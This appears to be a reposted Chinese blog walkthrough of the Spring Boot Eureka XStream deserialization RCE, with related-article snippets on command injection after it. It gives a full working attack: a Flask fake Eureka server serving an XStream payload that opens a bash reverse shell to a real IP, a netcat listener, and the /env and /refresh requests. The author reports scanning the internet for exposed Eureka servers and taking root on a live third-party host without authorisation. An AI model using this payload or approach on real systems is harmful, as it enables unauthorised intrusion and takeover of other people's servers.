SpringBoot-Eureka-xstream-rce漏洞复现

这篇具有很好参考价值的文章主要介绍了SpringBoot-Eureka-xstream-rce漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

SpringBoot-Eureka-xstream-rce

actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块。其提供的执行器端点分为两类:原生端点和用户自定义扩展端点,原生端点主要有:

eureka漏洞,从入门到入狱,spring boot,eureka,java,web安全,运维

漏洞利用

1.利用trace,获取认证信息(Cookie、tooken、Session),利用认证信息访问接口

http://localhost:9093/trace

访问/trace端点获取基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等),如果存在登录用户的操作请求,可以伪造cookie进行登录。

eureka漏洞,从入门到入狱,spring boot,eureka,java,web安全,运维

2.利用env加refresh进行getshell

http://localhost:9093/env

访问/env端点获取全部环境属性,由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过监控信息有时可以mysql、mangodb 数据库信息,如果数据库正好开放在公网,那么造成的危害是巨大的

eureka漏洞,从入门到入狱,spring boot,eureka,java,web安全,运维

/env端点配置不当造成RCE

利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

因为自己搭建的靶场环境一直复现失败,决定直接实战,搜索

app="Eureka-Server"

爬取ip,访问/env路径,若返回状态码为200则可能成功,可以写批量exp的脚本

接下来对我们搜集的ip测试是否出网

eureka漏洞,从入门到入狱,spring boot,eureka,java,web安全,运维

eureka漏洞,从入门到入狱,spring boot,eureka,java,web安全,运维

在refresh后,dnslog出现了一条数据,证明目标服务器可以出网,接下来进行漏洞利用,并记录详细过程
eureka漏洞,从入门到入狱,spring boot,eureka,java,web安全,运维

开启脚本,架设响应恶意 XStream payload 的网站,这里我使用了自己的云服务器

python springboot-xstream-rce.py

springboot-xstream-rce.py

from flask import Flask, Response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                      <string>/bin/bash</string>
                      <string>-c</string>
                      <string>bash -i >&amp; /dev/tcp/124.222.155.84/3333 0>&amp;1</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=2222)

访问测试http://ip:2222/xstream ,返回一条数据

eureka漏洞,从入门到入狱,spring boot,eureka,java,web安全,运维

服务器监听反弹shell的端口

nc -lvvp 3333

eureka漏洞,从入门到入狱,spring boot,eureka,java,web安全,运维

1.eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址

spring1.x

POST /env HTTP/1.1
Host: 47.111.236.137:9001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

eureka.client.serviceUrl.defaultZone=http://124.222.155.84:2222/xstream

若spring2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/xstream"}

2.refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload

spring1.x

POST /refresh HTTP/1.1
Host: 47.111.236.137:9001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

aaa

eureka漏洞,从入门到入狱,spring boot,eureka,java,web安全,运维

spring2.x

POST /actuator/refresh
Content-Type: application/json

eureka漏洞,从入门到入狱,spring boot,eureka,java,web安全,运维

3.目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞

等待一段时间直接拿到权限,控制了服务器还是root权限

eureka漏洞,从入门到入狱,spring boot,eureka,java,web安全,运维文章来源地址https://www.toymoban.com/news/detail-809167.html

到了这里,关于SpringBoot-Eureka-xstream-rce漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • RCE漏洞简介

    今天继续给大家介绍渗透测试相关知识,本文主要内容是RCE漏洞简介。 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:严禁对未授权设备进行渗透测试! 所谓RCE漏洞,即Remote Code/Command Execution,远

    2024年02月13日
    浏览(55)
  • rce 漏洞

    过滤分隔符 ; 1,可以使用%0a代替,%0a其实在某种程度上是最标准的命令链接符号 功能 符号 payload 换行符 %0a ?cmd=123%0als 回车符 %0d ?cmd=123%0dls 连续指令 ; ?1=123;pwd 后台进程 ?1=123pwd 管道 | ?1=123|pwd 逻辑运算 ||或 ?1=123pwd ;    //分号 |    //把前面输出的当作后面的输入 (管道符

    2024年02月07日
    浏览(41)
  • RCE(远程命令执行)漏洞详解

    RCE(remote command/code execute,远程命令执行)漏洞 远程代码执行 (RCE) 攻击是指攻击者可以在一个组织的计算机或网络上运行恶意代码。执行攻击者控制的代码的能力可用于各种目的,包括部署额外的恶意软件或窃取敏感数据。 远程代码执行攻击通常通过网络应用程序和网络基础

    2024年04月10日
    浏览(48)
  • RCE远程命令执行漏洞挖掘思路

    1.URL上 在 url参数上 ,不仅仅可能存在ssrf漏洞,也有很大概率存在命令执行,很大可能调用系统命令如curl。 payload例子: index.php?id=2;}phpinfo();/* ttp://www.xxx.com/cmd.php?cmd=phpinfo() 比如访问到如下URL,在jsp后面尝试加参数,比如path(什么参数需要试)     http://x.x.x.x:28076/file/dirF

    2024年02月01日
    浏览(55)
  • Panalog 日志审计系统RCE漏洞

    免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 Ⅰ、漏洞描述

    2024年02月21日
    浏览(36)
  • RCE 远程代码执行漏洞分析

    Remote Command/Code Execute 远程命令执行/远程代码执行漏洞 这种漏洞通常出现在应用程序或操作系统中,攻击者可以通过利用漏洞注入恶意代码,并在受攻击的系统上执行任意命令。 PHP 代码执行 PHP 代码注入 OS 命令执行 OS 命令注入 Java、Python…… Web 应用程序 远程服务 操作系统

    2024年02月08日
    浏览(37)
  • Apache ActiveMQ RCE漏洞复现

    1、 产品简介 ActiveMQ是一种开源的基于JMS(Java Message Servie)规范的一种消息中间件的实现,ActiveMQ的设计目标是提供标准的,面向消息的,能够跨越多语言和多系统的应用集成消息通信中间件。ActiveMQ是Apache出品,最流行的,能力强劲的开源消息总线。 2、 漏洞概述 Apache Act

    2024年01月22日
    浏览(39)
  • CVE -2022-26134漏洞复现(Confluence OGNL 注入rce漏洞)

    0x01 Atlassian Confluence Atlassian Confluence是一个专业的企业知识管理与协同软件,主要用于公司内员工创建知识库并建立知识管理流程,也可以用于构建企业wiki。其使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。因此

    2024年02月16日
    浏览(46)
  • ThinkPHP 多语言模块RCE漏洞复现

    ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且

    2023年04月22日
    浏览(46)
  • 蓝凌(Landray)OA漏洞常见RCE

    背景是由于一次和友商共同的渗透项目测试中,其中一个系统使用了蓝凌OA,但当时由于一些原因觉得版本挺新应该是打了补丁的故在测试中没有仔细遍历复现蓝凌OA的历史常见RCE漏洞,后续对比了友商的报告发现别人测的两个RCE,故统一做个poc积累学习,混个眼熟防止下次渗

    2023年04月08日
    浏览(32)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包